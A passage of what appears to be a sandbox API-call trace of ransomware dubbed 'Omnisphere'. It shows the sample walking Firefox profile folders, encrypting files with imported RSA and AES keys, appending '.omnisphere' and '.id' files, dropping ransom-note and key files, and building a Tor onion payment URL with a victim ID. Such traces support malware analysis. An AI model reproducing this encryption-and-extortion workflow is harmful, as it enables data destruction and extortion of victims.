ftLastAccessTime.dwLowDateTime=0x416b6afc, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x416b6afc, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName=".", cAlternateFileName="")) returned 0x1639528 [0161.602] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x416b6afc, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x416b6afc, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="..", cAlternateFileName="")) returned 1 [0161.602] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x416b6afc, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x416b6afc, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x416b6afc, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0161.602] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="events", cAlternateFileName="")) returned 1 [0161.602] GetProcessHeap () returned 0x1600000 [0161.602] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc0) returned 0x16415f0 [0161.602] PathCombineW (in: pszDest=0x16415f0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes", pszFile="events" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes\\events") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes\\events" [0161.602] GetProcessHeap () returned 0x1600000 [0161.602] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc4) returned 0x162c048 [0161.602] PathCombineW (in: pszDest=0x162c048, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes\\events", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes\\events\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes\\events\\*" [0161.602] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes\\events\\*", lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xb3, cFileName=".", cAlternateFileName="")) returned 0x16397a8 [0161.603] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xb3, cFileName="..", cAlternateFileName="")) returned 1 [0161.603] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xb3, cFileName="..", cAlternateFileName="")) returned 0 [0161.603] FindClose (in: hFindFile=0x16397a8 | out: hFindFile=0x16397a8) returned 1 [0161.603] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes\\events\\*", lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c0075, dwReserved1=0x5c0074, cFileName=".", cAlternateFileName="")) returned 0x1639568 [0161.603] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c0075, dwReserved1=0x5c0074, cFileName="..", cAlternateFileName="")) returned 1 [0161.603] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c0075, dwReserved1=0x5c0074, cFileName="..", cAlternateFileName="")) returned 0 [0161.603] FindClose (in: hFindFile=0x1639568 | out: hFindFile=0x1639568) returned 1 [0161.603] GetProcessHeap () returned 0x1600000 [0161.603] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c048 | out: hHeap=0x1600000) returned 1 [0161.603] GetProcessHeap () returned 0x1600000 [0161.603] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16415f0 | out: hHeap=0x1600000) returned 1 [0161.603] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2923a75e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x2923a75e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x41690832, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="store.json.mozlz4.omnisphere", cAlternateFileName="STOREJ~1.OMN")) returned 1 [0161.603] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41690832, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x41690832, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41690832, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="store.json.mozlz4.omnisphere.id", cAlternateFileName="STOREJ~1.ID")) returned 1 [0161.603] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x416b6afc, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x416b6afc, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x416b6afc, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0161.603] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x416b6afc, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x416b6afc, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x416b6afc, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0161.604] FindClose (in: hFindFile=0x1639528 | out: hFindFile=0x1639528) returned 1 [0161.604] GetProcessHeap () returned 0x1600000 [0161.604] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1748b78 | out: hHeap=0x1600000) returned 1 [0161.604] GetProcessHeap () returned 0x1600000 [0161.604] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x17496b8 | out: hHeap=0x1600000) returned 1 [0161.604] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x145d99f2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x2d6a08c7, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb844f993, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="datareporting", cAlternateFileName="DATARE~1")) returned 1 [0161.604] GetProcessHeap () returned 0x1600000 [0161.604] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xbe) returned 0x16415f0 [0161.604] PathCombineW (in: pszDest=0x16415f0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="datareporting" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting" [0161.604] GetProcessHeap () returned 0x1600000 [0161.604] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc2) returned 0x162c868 [0161.604] PathCombineW (in: pszDest=0x162c868, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\*" [0161.604] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\*", lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x145d99f2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x2d6a08c7, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb844f993, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName=".", cAlternateFileName="")) returned 0x1639528 [0161.606] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x145d99f2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x2d6a08c7, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb844f993, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="..", cAlternateFileName="")) returned 1 [0161.606] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x147168f2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x14717c78, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x14717c78, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="archived", cAlternateFileName="")) returned 1 [0161.606] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d5bba89, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x2d5bba89, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2d5bba89, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa1, dwReserved0=0x0, dwReserved1=0xbb, cFileName="session-state.json", cAlternateFileName="SESSIO~1.JSO")) returned 1 [0161.606] GetProcessHeap () returned 0x1600000 [0161.606] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xe4) returned 0x1745cf8 [0161.606] PathCombineW (in: pszDest=0x1745cf8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting", pszFile="session-state.json" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\session-state.json") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\session-state.json" [0161.606] StrStrW (lpFirst=".omnisphere", lpSrch=".json") returned 0x0 [0161.606] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\session-state.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\session-state.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0161.606] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x3e0cdd4 | out: lpFileSize=0x3e0cdd4*=161) returned 1 [0161.606] GetTickCount () returned 0x1168237 [0161.606] GetTickCount () returned 0x1168237 [0161.607] GetTickCount () returned 0x1168237 [0161.607] GetTickCount () returned 0x1168237 [0161.607] GetTickCount () returned 0x1168237 [0161.607] GetTickCount () returned 0x1168237 [0161.607] GetTickCount () returned 0x1168237 [0161.607] GetTickCount () returned 0x1168237 [0161.607] GetTickCount () returned 0x1168237 [0161.607] GetTickCount () returned 0x1168237 [0161.607] GetTickCount () returned 0x1168237 [0161.607] GetTickCount () returned 0x1168237 [0161.607] GetTickCount () returned 0x1168237 [0161.607] GetTickCount () returned 0x1168237 [0161.607] GetTickCount () returned 0x1168237 [0161.607] GetTickCount () returned 0x1168237 [0161.607] GetTickCount () returned 0x1168237 [0161.607] GetTickCount () returned 0x1168237 [0161.607] GetTickCount () returned 0x1168237 [0161.607] GetTickCount () returned 0x1168237 [0161.607] GetTickCount () returned 0x1168237 [0161.607] GetTickCount () returned 0x1168237 [0161.607] GetTickCount () returned 0x1168237 [0161.607] GetTickCount () returned 0x1168237 [0161.607] GetTickCount () returned 0x1168237 [0161.607] GetTickCount () returned 0x1168237 [0161.607] GetTickCount () returned 0x1168237 [0161.607] GetTickCount () returned 0x1168237 [0161.607] GetTickCount () returned 0x1168237 [0161.607] GetTickCount () returned 0x1168237 [0161.607] GetTickCount () returned 0x1168237 [0161.608] GetTickCount () returned 0x1168237 [0161.608] CryptAcquireContextW (in: phProv=0x3e0c85c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0c85c*=0x1669230) returned 1 [0161.608] CryptImportKey (in: hProv=0x1669230, pbData=0x3e0c7c4, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c868 | out: phKey=0x3e0c868*=0x1639568) returned 1 [0161.608] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x75, dwBufLen=0x80 | out: pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x80) returned 1 [0161.608] CryptDestroyKey (hKey=0x1639568) returned 1 [0161.608] CryptReleaseContext (hProv=0x1669230, dwFlags=0x0) returned 1 [0161.608] CreateFileMappingW (hFile=0x3c0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa1, lpName=0x0) returned 0x388 [0161.608] MapViewOfFile (hFileMappingObject=0x388, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa1) returned 0x1480000 [0161.609] CryptAcquireContextW (in: phProv=0x3e0c84c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0c84c*=0x1668ac0) returned 1 [0161.609] CryptImportKey (in: hProv=0x1668ac0, pbData=0x3e0c804, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c85c | out: phKey=0x3e0c85c*=0x16397a8) returned 1 [0161.609] CryptSetKeyParam (hKey=0x16397a8, dwParam=0x4, pbData=0x3e0c840*=0x2, dwFlags=0x0) returned 1 [0161.609] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0c848*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0c848*=0x10) returned 1 [0161.609] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0161.610] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0161.610] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0161.610] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0161.610] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0161.610] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0161.610] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0161.610] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0161.610] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0161.610] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0161.610] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0161.610] CryptDestroyKey (hKey=0x16397a8) returned 1 [0161.610] CryptReleaseContext (hProv=0x1668ac0, dwFlags=0x0) returned 1 [0161.610] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0xa1, lpNewFilePointer=0x0, dwMoveMethod=0x3e0cdc8 | out: lpNewFilePointer=0x0) returned 1 [0161.610] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cddc, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0cddc*=0x524, lpOverlapped=0x0) returned 1 [0161.612] GetProcessHeap () returned 0x1600000 [0161.612] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2f4) returned 0x174b560 [0161.612] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\session-state.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\session-state.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\session-state.json.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\session-state.json.omnisphere")) returned 1 [0161.613] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\session-state.json.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\session-state.json.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\session-state.json.omnisphere.id" [0161.613] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\session-state.json.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\session-state.json.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0161.613] WriteFile (in: hFile=0x3b4, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c864, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0c864*=0x524, lpOverlapped=0x0) returned 1 [0161.614] CloseHandle (hObject=0x3b4) returned 1 [0161.614] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0161.614] CloseHandle (hObject=0x388) returned 1 [0161.614] SetEndOfFile (hFile=0x3c0) returned 1 [0161.615] FlushFileBuffers (hFile=0x3c0) returned 1 [0161.618] CloseHandle (hObject=0x3c0) returned 1 [0161.618] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\session-state.json" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting") returned 1 [0161.618] GetProcessHeap () returned 0x1600000 [0161.618] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x174b860 [0161.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0161.618] GetProcessHeap () returned 0x1600000 [0161.618] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733f90 [0161.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733f90, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0161.618] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0161.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0161.618] GetProcessHeap () returned 0x1600000 [0161.618] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x17267f8 [0161.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x17267f8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0161.618] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0161.618] GetProcessHeap () returned 0x1600000 [0161.618] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xee) returned 0x1734a50 [0161.618] PathCombineW (in: pszDest=0x1734a50, 